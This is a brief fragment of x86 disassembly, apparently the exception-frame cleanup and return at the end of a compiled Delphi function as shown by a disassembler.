mov dword fs:[eax], edx
push 0x46b45b
lea eax, [ebp - 0x428]
mov edx, 8
call fcn.00404180
lea eax, [ebp - 4]
call fcn.0040415c
ret